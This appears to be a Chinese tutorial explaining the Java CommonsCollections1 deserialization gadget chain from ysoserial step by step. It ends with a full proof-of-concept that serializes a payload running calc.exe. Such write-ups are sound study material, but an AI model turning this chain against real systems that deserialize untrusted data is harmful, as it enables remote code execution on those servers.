java安全?ysoserial?CommonsCollections1示例解析
正文
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/先假設(shè)Runtime類(lèi)可序列化
先假設(shè)Runtime類(lèi)可序列化,最終要實(shí)現(xiàn):
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");調(diào)用InvokerTransformer.transform()
從最后一步開(kāi)始,調(diào)用InvokerTransformer.transform()
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}transform方法實(shí)現(xiàn)了完整的反射,通過(guò)InvokerTransformer構(gòu)造方法傳入方法和參數(shù)。
所以這一步的利用鏈
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);InvokerTransformer的transform調(diào)用
InvokerTransformer的transform的調(diào)用,在ChainedTransformer的transform實(shí)現(xiàn)。
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}如果Transformer[]里面的對(duì)象是:
Transformer[0]:new ConstantTransformer(runtime)
Transformer[1]:invokerTransformer
第一次循環(huán):(new ConstantTransformer(runtime)).transform() runtime對(duì)象返回給object
第二次循環(huán):invokerTransformer.transform(runtime)
所以這一步的利用鏈:
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(runtime),invokerTransformer});
chainedTransformer.transform(1);ChainedTransformer的transform誰(shuí)來(lái)調(diào)?
LazyMap的get方法存在transform調(diào)用(key不存在的時(shí)候)。
public class LazyMap
extends AbstractMapDecorator
implements Map, Serializable {
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
private void writeObject(ObjectOutputStream out) throws IOException {
out.defaultWriteObject();
out.writeObject(map);
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
map = (Map) in.readObject();
}
//-----------------------------------------------------------------------
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
}通過(guò)decorate方法,修改this.factory為chainedTransformer對(duì)象,最后通過(guò)get不存在的key調(diào)用chainedTransformer的transform
所以利用鏈
HashMap hashMap = new HashMap(); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer); lazyMap.get(1);
lazyMap的get誰(shuí)來(lái)調(diào)用?
這里面用的AnnotationInvocationHandler的invoke,該方法存在某個(gè)屬性的get,屬性可通過(guò)構(gòu)造方法改變。
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
/**
* This method, which clones its array argument, would not be necessary
* if Cloneable had a public clone method.
*/因?yàn)锳nnotationInvocationHandler類(lèi)非public,通過(guò)反射調(diào)用
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);
對(duì)象初始化memberValues,得到對(duì)象handler,接下來(lái)就是讓handler對(duì)象執(zhí)行invoke
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
proxyMap已經(jīng)有了,那么應(yīng)該怎么觸發(fā)handler執(zhí)行方法,來(lái)調(diào)用invoke方法
AnnotationInvocationHandler的readobject方法,存在對(duì)memberValues執(zhí)行entrySet()所以用proxyMap對(duì)象重新生成一個(gè)AnnotationInvocationHandler對(duì)象
InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
handle
AnnotationInvocationHandler的readobject重寫(xiě)
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
最后AnnotationInvocationHandler對(duì)象反序列化,執(zhí)行readobject也就觸發(fā)了proxyMap的invoke方法

要解決的問(wèn)題:Runtime類(lèi)未實(shí)現(xiàn)Serializable,需要使用反射調(diào)用,反射方法用什么來(lái)觸發(fā)執(zhí)行?
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");反射方式實(shí)現(xiàn):
Class cr = Class.forName("java.lang.Runtime");
Method getRuntime = cr.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getRuntimemethod.invoke(null, null);
Method execmethod = cr.getMethod("exec", String.class);
execmethod.invoke(runtimemethod,"calc.exe");反射方法通過(guò)InvokerTransformer實(shí)現(xiàn)
Class cr = Class.forName("java.lang.Runtime");
Method getRuntimemethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(cr);
Runtime runtimemethod = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null, null}).transform(getRuntimemethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}).transform(runtimemethod);ChainedTransformer中的transform正好實(shí)現(xiàn)了這組鏈的調(diào)用
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
所以最后runtime的實(shí)現(xiàn)利用鏈:
Transformer[] transformers = {
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers);
chainedTransformerruntime.transform(cr);最終實(shí)現(xiàn)的利用鏈:
public class CC1Test3 {
public static void main(String[] args) throws Exception {
Class cr = Class.forName("java.lang.Runtime");
Transformer[] transformers = {
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers);
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(cr),chainedTransformerruntime});
HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc1.ser"));
objectOutputStream.writeObject(handle);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc1.ser"));
objectInputStream.readObject();
}
}
以上就是java安全 ysoserial CommonsCollections1示例解析的詳細(xì)內(nèi)容,更多關(guān)于java安全 ysoserial CommonsCollections的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
springboot 如何取消starter的自動(dòng)注入
這篇文章主要介紹了springboot 如何取消starter的自動(dòng)注入操作,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2021-09-09
如何使用Spring Security實(shí)現(xiàn)用戶-角色-資源的權(quán)限控制
文章介紹了如何通過(guò)SpringSecurity實(shí)現(xiàn)用戶-角色-資源的權(quán)限管理,包括基于角色的請(qǐng)求控制、加載用戶角色信息、角色與資源的關(guān)聯(lián)等步驟,同時(shí),提供了一些測(cè)試場(chǎng)景,以驗(yàn)證權(quán)限控制是否正確,感興趣的朋友跟隨小編一起看看吧2024-10-10
Sax解析xml_動(dòng)力節(jié)點(diǎn)Java學(xué)院整理
這篇文章主要介紹了Sax解析xml,小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧2017-08-08
java中使用Filter控制用戶登錄權(quán)限具體實(shí)例
java中使用Filter控制用戶登錄權(quán)限具體實(shí)例,需要的朋友可以參考一下2013-06-06
重試框架Guava-Retry和spring-Retry的使用示例
spring-retry 和 guava-retry 工具都是線程安全的重試,能夠支持并發(fā)業(yè)務(wù)場(chǎng)景的重試邏輯正確性,本文主要介紹了重試框架Guava-Retry和spring-Retry的使用示例,感興趣的可以一下2023-09-09

